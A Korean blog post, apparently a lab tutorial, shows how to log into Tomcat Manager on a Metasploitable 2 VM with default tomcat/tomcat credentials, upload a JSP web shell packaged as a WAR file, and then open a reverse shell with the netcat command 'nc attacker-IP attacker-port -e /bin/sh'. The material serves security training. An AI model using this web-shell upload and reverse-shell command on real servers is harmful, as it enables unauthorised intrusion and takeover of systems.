업르드 취약점을 통해 웹쉘 실습을 맛보기 형태로 간단하게 실습을 실시 할것이다.
파일 업로드 취약점
파일 업로드 기능이 존재하는 웹 사이트에서 필터링이 미흡할 경우 악성 파일이 업로드 되어서 시스템이 장악 될 수 있는 취약점이다. 악성 스크립트가 업로드 된 후 업로드 된 스크립트를 실행 해서 쉘을 획득하는 등의 행위로 정보유출, 권한 상승, 후위공격 등의 추가공격을 할수 있다.
실습 환경
PC1 (공격자)
OS: kali linux
IP: 192.168.180. 147
PC2 (타겟)
OS: Linux (matasploitable V2 )
IP:192.168.180.149
해당 실습에 취약점 분석은 아래 게시물과 이어집니다 (nmap 포트 스캔 , nikto 자동 취약점 분석을 통한 id ,pw 획득)
자동 취약점 분석 Nikto 와 tomcat 실습
Nikto 출처: https://www.secuneus.com/nikto/ Nikto는 오픈 소스 웹 스캐너로 6700개 이상의 취약점과 1250개 이상의 웹 서버 버전 정보를 확인 가능하다 웹 서버에 대한 포괄적으로 테스트를 수행을 하며 '보
adm1n1.tistory.com
위에 링크된 게시물을 통해 ID와 PW 을 얻었기 때문에 로그인을 할것이다.
Tomcat Manager 링크에 접속을 한다.
tomcat / tomcat 으로 로그인을 한다.
다음과 같은 화면이 나오는데 아래로 내리면
위와 같이 파일을 업로드 기능이 있는곳을 볼수 있다.
이곳에 웹쉘을 업로드를 할것이다.
WAR file to deploy 라고 써진 이곳은 WAR 파일만 올릴 수 있다.
Browse.. 버튼을 눌러 파일을 선택을 하고 Deploy 버튼을 통해 선택 된 파일을 업로드를 할수 있다.
war은 압축 형태이다 . 그래서 처음부터 war로 압축을 하면 좋겠지만
zip 으로 압축을 하고 파일이름을 .war 로 바꿔도 해당 취약점 실습에 큰 문제는 없다 .
오늘 실습할 웹쉘 코드는
https://github.com/tennc/webshell/blob/master/jsp/jspbrowser/Browser.jsp
해당 깃허브 코드이다.
해당 코드를 다운받고 war 파일로 업로드하고 Deploy 까지 하면
test 디렉토리가 생긴것을 확인 할수 있다.
그래서 원래는 업로드 하기전에 웹 취약점 분석 프록시 툴( 예를 들어 버프스위프트) 을 통해 업로드 된 파일이
어디에 위치하는지 분석도 해야겠지만 해당 실습은 그부분은 제외 할것이다.
그래서 어디에 파일이 어디에 업로드되는지 전재 하에 다음 실습을 진행 하겠다.
업로드 된 파일은 웹서버 디렉토리에 바로 업로드가 되는데
바로 test 디렉토리에 접근을 하면 404 에러 즉 존재하지 않는 곳이라고 뜨지만
test 디렉토리 안에 shell.jsp에 접근을 하면 접근이 가능 한것을 볼수 있다.
해당 웹쉘은 다양한 기능을 가지고 있지만 우리는 쉘 기능을 이용 할것이다.
맨아래에 launch command 버튼을 누르면
이와 같은 네모만 있는 실습 창을 볼수 있다.
아래 네모에 리눅스 명령어를 입력을 하고 lanuch 버튼을 누르면
위와 같은 결과를 볼수 있다. 서버의 ip 이다
즉 서버에서 명령어를 칠수 있다는 것이다
저런 간단한 명령어 정도야 웹을 통해 명령어를 입력하는것은 문제가 없지만
웹을 통해 명령어를 계속 날리는 것은 매번 웹이 계속 refresh 하면서 결과물을 보여주는 것인데
이는 버퍼가 존재하는 것이고 버퍼 이상의 결과물이 나타날때는 결과물을 보여주는데에 제한이 생길수 있다.
그래서 간단하게 리버스 커낵션을 할 것이다.
netcat 툴을 이용해서 말이다.
먼저 공격자 터미널에서 7777 포트를 열 것이다.
그리고
nc 공격자IP 공격자PORT -e /bin/sh
-e : 명령을 전달하겠다
/bin/sh: -e 옵션을 통해 명령을 전달할것인데 /bin/sh에 명령을 전달 할것이다.
해당 명령어를 lanuch를 하면
리버스 컨넥션이 완료가 되었다.
위와 같이 리눅스 명령어들이 잘 잘동되는것을 확인 할수 있다.
하지만 nc로 연결 한 것은 일정 시간동안 컨넥션이 끊기기 때문에
보통 telnet 과 같은것을 이용 하곤 한다.
'보안 > 칼리 리눅스' 카테고리의 다른 글
Burpsuite 버프 슈트에 대해 알아보자 2 /데이터 수동,자동 입력 (repeater, intruder) (0) | 2023.11.05 |
---|---|
Burpsuite 버프슈트에 대해 알아보자 1 /proxy, target (0) | 2023.11.04 |
자동 취약점 분석 Nikto 와 tomcat 실습 (0) | 2023.10.25 |
Nessus 와 Metasploitable로 실습! / VNC 인증 정보 디폴트 취약점 (0) | 2023.10.22 |
Nmap을 개조해보자! NMAP NSE / 취약점 분석 nse 활용하기 (2) | 2023.10.14 |